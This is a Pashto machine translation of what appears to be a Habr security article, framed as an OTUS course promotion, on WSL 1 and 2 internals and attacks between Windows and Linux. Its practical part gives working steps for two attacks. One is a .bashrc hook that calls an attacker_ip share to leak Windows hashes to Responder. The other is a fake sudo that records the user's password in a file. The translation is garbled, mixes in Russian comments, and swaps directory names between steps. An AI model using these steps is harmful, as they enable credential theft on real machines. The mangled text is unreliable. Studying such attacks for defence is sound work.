د WSL تجربې. برخه 1

سلامونه او نیکې هیلې! OTUS په اکتوبر کې یو نوی کورس جریان پیلوي "لینکس امنیت". د کورس د پیل په تمه، موږ ستاسو سره یوه مقاله شریکوو چې زموږ د یوه ښوونکي الکساندر کولسنیکوف لخوا لیکل شوي.

د WSL تجربې. برخه 1

په 2016 کې، مایکروسافټ د IT ټولنې ته نوې WSL ټیکنالوژي معرفي کړه (Wهندوا .ې Sلپاره ubsystem Linux)، کوم چې په راتلونکي کې دا ممکنه کړې چې د پخوانیو نه منلو وړ سیالانو سره یوځای شي چې د عادي او پرمختللي OS کاروونکو ترمنځ د شهرت لپاره مبارزه کوله: وینډوز او لینکس. دې ټیکنالوژۍ دا ممکنه کړې چې په وینډوز چاپیریال کې د لینکس OS وسیلې وکاروئ پرته لدې چې لینکس چلولو اړتیا ولرئ ، د مثال په توګه ، د ملټي بوټ کارول. په هابر کې تاسو کولی شئ لوی شمیر مقالې ومومئ چې د WSL کارولو ګټې بیانوي. په هرصورت، له بده مرغه، د دې مقالې د جوړولو په وخت کې، د دې سرچینې په اړه د عملیاتي سیسټمونو د ورته سمبیوسس امنیت په اړه هیڅ مطالعه ونه موندل شوه. دا پوسټ به د دې سمولو هڅه وي. مقاله به د WSL 1 او 2 جوړښتونو ځانګړتیاو په اړه وغږیږي او د دې ټیکنالوژیو په کارولو سره په سیسټمونو باندې د بریدونو ډیری مثالونه وڅیړي. مقاله په 2 برخو ویشل شوې ده. لومړی به د لینکس او وینډوز څخه د اصلي تیوریکي برید میتودونه چمتو کړي. دویمه مقاله به د ازموینې چاپیریال رامینځته کول او د بریدونو بیا تولید شامل وي.

WSL 1: معماري ځانګړتیاوې

د WSL امنیت مسلو کې د خورا دقیق ډوبولو لپاره ، دا اړینه ده چې د فرعي سیسټم پلي کولو پورې اړوند اصلي لنډیزونه وټاکئ. د WSL لخوا حل شوي یو له اصلي کارونکي کارونو څخه د وینډوز OS چلونکي کوربه کې د لینکس ټرمینل له لارې د کار کولو وړتیا ده. همچنان ، وړاندیز شوی مطابقت دومره اصلي و چې د لینکس اجرایوي (ELFs) مستقیم په وینډوز سیسټم کې پرمخ وړل کیدی شي. د دې اهدافو ترلاسه کولو لپاره ، په وینډوز 10 کې یو ځانګړی سب سیسټم رامینځته شوی چې تاسو ته اجازه درکوي د ځانګړي سیسټم کالونو سیټ په کارولو سره د لینکس غوښتنلیکونه پرمخ بوځي - پدې توګه ، په وینډوز کې د لینکس سیسکالونو سیټ نقشه کولو هڅه وشوه. دا په فزیکي توګه د نوي ډرایورانو او د پروسې نوي بڼه په اضافه کولو سره پلي شوی. په بصری توګه جوړښت داسې ښکاریده:

د WSL تجربې. برخه 1

په حقیقت کې، د لینکس عملیاتي سیسټم سره تعامل د څو کرنل ماډلونو او یو ځانګړي ډول پروسې - پیکو له لارې تنظیم شوی و. د پورتنۍ ډیاګرام څخه ، تاسو لیدلی شئ چې په کوربه کې د لینکس مثال کې روانه پروسه باید اصلي وي او باید ورته سرچینې د منظم وینډوز غوښتنلیکونو په څیر وکاروي. مګر دا څنګه ترلاسه کول؟ په پروژه کې دراوبرج د وینډوز لپاره د پروسې مفکورې رامینځته شوي چې د عملیاتي سیسټم ټولې اړینې برخې چمتو کړي (د هغې نسخې پورې اړه لري) د بل OS غوښتنلیک چلولو لپاره.

په یاد ولرئ چې وړاندیز شوي خلاصون دا امکان رامینځته کړی چې په عملیاتي سیسټم (په ځانګړي توګه وینډوز) باندې تمرکز ونه کړي ، په کوم کې چې د بل OS پروسې پیل کیدو تمه کیږي ، او د عمومي چلند وړاندیز یې وکړ.

په دې توګه، د پیکو پروسې دننه هر غوښتنلیک د وینډوز کرنل په پام کې نیولو پرته پرمخ ځي:

  1. د سیسټم تلیفونونو د مطابقت او ژباړې ستونزې باید د ځانګړي چمتو کونکو لخوا حل شي؛
  2. د لاسرسي کنټرول باید د امنیت مانیټر له لارې ترسره شي. مانیټر په کرنل کې موقعیت لري او له همدې امله وینډوز د نوي ډرایور په توګه اپ گریڈ ته اړتیا درلوده چې کولی شي د ورته پروسو لپاره د چمتو کونکي په توګه عمل وکړي. د پروټوټایپ پیکو پروسه په پلاني ډول لاندې وړاندې کیږي:

د WSL تجربې. برخه 1

څرنګه چې د لینکس فایل سیسټم د قضیې حساس فایل او ډایرکټر نومونه کاروي، د WSL - VolFS او DriveFS سره کار کولو لپاره 2 ډوله فایل سیسټمونه په وینډوز کې اضافه شوي. VolFS د لینکس فایل سیسټم تطبیق دی، DriveFS یو فایل سیسټم دی چې د وینډوز قواعدو سره سم کار کوي، مګر د قضیې حساسیت غوره کولو وړتیا لري.

WSL 2

WSL 1 یو شمیر محدودیتونه درلودل چې اجازه یې نه ورکوله چې د دندو د اعظمي سلسلې حل کولو لپاره وکارول شي: د مثال په توګه ، دا د 32-bit لینکس غوښتنلیکونو چلولو وړتیا نه درلوده ، او د وسیلې ډرایور کارول ناممکن وو. له همدې امله، په 2020 کې، WSL 2 خپور شو، کوم چې د فرعي سیسټم جوړولو طریقه بدله کړه. WSL 2 یو مطلوب مجازی ماشین دی چې د WSL 1 د سرچینو مصرف ځانګړتیاو سره سمون لري. اوس ، د وینډوز OS کارونکي لخوا حل شوي ستونزو پورې اړه لري ، تاسو کولی شئ د لینکس فرعي سیسټم اړین نسخه غوره کړئ. د احتمالي زیانونو د کمولو لپاره، WSL 2 په وینډوز 10 کې د Hyper-V پر بنسټ پلي شوی. په دې بڼه، وینډوز د دې وړتیا لري چې د لینکس عملیاتي سیسټم کارنل په انزوا کې پرمخ بوځي. د یادولو وړ ده چې د WSL نسخه 1 د بیټا فیچر په توګه معرفي شوی و چې باید پدې برخه کې د وینډوز پراختیا لارښود وښیې ، نو د هایپر-V ته لیږد ناگزیر و. وروستی جوړښت داسې ښکاري:

د WSL تجربې. برخه 1

په دې نسخه کې، د وینډوز او لینوکس کرنلونه خپلې سرچینې لري او تقاطع یوازې د فایل سیسټم کې شتون لري، مګر دا تقاطع بشپړ نه دی. د فایل سیسټمونو ترمینځ تعامل د پیرودونکي - سرور ریپر له لارې ترسره کیږي چې د 9P پروتوکول په کارولو سره کار کوي.

نن ورځ مایکروسافټ د WSL 1 او WSL 2 ترمنځ د بدلولو وړتیا چمتو کوي. دواړه نسخې د کارولو لپاره شتون لري.

د WSL امنیت

په اوس وخت کې، ډیری کارونه شتون لري چې د فرعي سیسټمونو ترمنځ د اړیکو د برید لپاره د مشروع OS وسیلو کارولو لپاره ځینې طریقې بیانوي. موږ به د دوی سکریپټونه وکاروو ترڅو د لیکلو په وخت کې د بریدونو تړاو وڅیړو. د بریدونو او سناریو عمومي لیست:

1. د فایل سیسټم پلي کول: د لاسرسي حقونه، د شریک لارښودونو / ډیټا تبادلې میکانیزمونو شتون.

څیړنې ترسره شوې ترڅو د لاسرسي مقرراتو څخه سرغړونه معلومه کړي لینکس FS-> وینډوز FS، وینډوز FS-> لینکس FS. څیړنې په نښه شوي OS کې د ورکړل شوي فایل بدلولو وړتیا ښودلې. د بدیل کولو، نقلونو جوړولو او د فایل سیسټمونو برخې حذف کولو هڅې هم شوي.

سناریو:

  • الف. د وینډوز عملیاتي سیسټم څخه برید - د لینکس OS د /etc لارښود څخه د فایلونو ترمیم.
  • ب. د لینوکس عملیاتي سیسټم څخه برید - په لارښودونو کې د فایلونو ترمیم: C:Windows, C:Program Files, C:Users<User>

2. د شبکې سټیک پلي کول.

څیړنه په وینډوز کې د لینکس عملیاتي سیسټم څخه د بریدونو مثالونو په کارولو سره ترسره شوې. د شبکې سټیک ځانګړتیاوې کارول شوي، د بیلګې په توګه، په مختلفو سرچینو کې د تصدیق کولو میکانیزمونه.

سناریو:

  • هغه بندر ته د لاسرسي خلاصول چې په وینډوز سیسټم کې نیول شوي
  • د مناسبو حقونو پرته د بندر پرانیستل
  • په وینډوز عملیاتي سیسټم کې د ایلف فایل په کارولو سره ریورس شیل چلول.

3. د WSL فرعي سیسټم په کارولو سره د ناوړه سافټویر پروسې پیل پټول.

څیړنه د یو ساده حقیقت پراساس وه - د امنیت فرعي سیسټمونه نشي کولی په بل دانه کې پیښې ودروي چې د WSL 1 په قضیه کې د عملیاتي سیسټم څخه د مشروع چمتو کونکي په کارولو سره کار کوي. د سپک وزن لرونکي مجازی ماشین دننه په جلا کرنل کې.

سناریو:

1) سیسټم ته د لیرې لاسرسي لپاره غوښتنلیک لانچ کړئ او ثبت شوي پیښې وګورئ.

د WSL 1 تجربې: د هش مداخله (وینډوز)

په نهایت کې موږ عملي برخې ته ورسیدو. لومړی، تاسو اړتیا لرئ د ازموینې چاپیریال تنظیم کړئ. ټولې تجربې به د وینډوز 10 2004 نصب سره په بنچ کې ترسره شي. د اوبنټو 18.04 عکس د WSL لپاره د عملیاتي سیسټم عکس په توګه غوره شوی. انځور په تصادفي توګه غوره شوی، او کوم بل به ورته کار وکړي. د موقف د جوړولو لپاره امرونه:

تاسو باید لومړی پیل کړئ powershell.exe د مدیر په توګه

د WSL 1 لپاره تاسو اړتیا لرئ کمانډونه پرمخ بوځي:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • د سټینډ ریبوټ کولو وروسته ، تاسو کولی شئ د باش کمانډ ته زنګ ووهئ. که هرڅه سم کار وکړي، تاسو به د وینډوز کنسول کې ورته محصول وګورئ:

    د WSL تجربې. برخه 1

    موږ به د کالي لینکس توزیع د برید کونکي ماشین په توګه وکاروو؛ ټول ماشینونه باید په ورته محلي شبکه کې وي.

    راځئ فرض کړو چې موږ په وینډوز ماشین کې WSL ته بې اختیاره لاسرسی لرو. راځئ هڅه وکړو چې د لینکس څخه د کمانډ په زنګ وهلو سره د لینکس عملیاتي سیسټم برید وکړو. د برید پلي کولو لپاره، موږ به یو ساده اتوماتیک تخنیک وکاروو - موږ به د لینکس چاپیریال کې د اجرا کولو لپاره زموږ سکریپټ اضافه کړو. د دې کولو لپاره تاسو اړتیا لرئ فایل بدل کړئ .bashrc.

    د WSL سره په ماشین کې موږ اجرا کوو:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    په کالي لینکس ماشین کې موږ چلوو:

    1. Responder -I eth0 -rdvw

    په وینډوز ماشین کې، راځئ چې باش پیل کړو.

    موږ د کالی لینکس ماشین کې پایلې ته په تمه یو:

    د WSL تجربې. برخه 1

    په دې توګه، موږ د وینډوز کاروونکي هشونه د WSL سب سیسټم له لارې د لینکس سیسټم کې د قوماندې په اجرا کولو سره ترلاسه کړل.

    د WSL 1 تجربې: د کارن پاسورډ ترلاسه کول (لینکس OS)

    راځئ چې یوه بله تجربه وکړو. د دې چک په جریان کې به موږ فایل ته اضافه کړو .bashrc د لینکس عملیاتي سیسټم کارونکي پټنوم ترلاسه کولو لپاره ډیری کمانډونه.

    راځئ چې bash پیل کړو او کمانډونه دننه کړو:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    په بریالیتوب سره د برید بشپړولو لپاره، کاروونکي سیم ته اړتیا لري چې په لینکس ټرمینل کې sudo ته زنګ ووهي. له دې وروسته، د لینکس OS کارونکي پټنوم به په فایل کې وي pass.txt:

    د WSL تجربې. برخه 1

    د بریدونو پلي کول یوازې د نظري معلوماتو لپاره ورکړل شوي.

    د مقالې بله برخه به د 9P پروتوکول پلي کول تشریح کړي، د دې پروتوکول لپاره د سکینر رامینځته کولو په اړه فکر وکړي، او د هغې په کارولو سره برید هم ترسره کړي.

    د کارول شوي ادبیاتو لیست

    د WSL تجربې. برخه 1

    نور یی ولوله

    سرچینه: www.habr.com

    Add a comment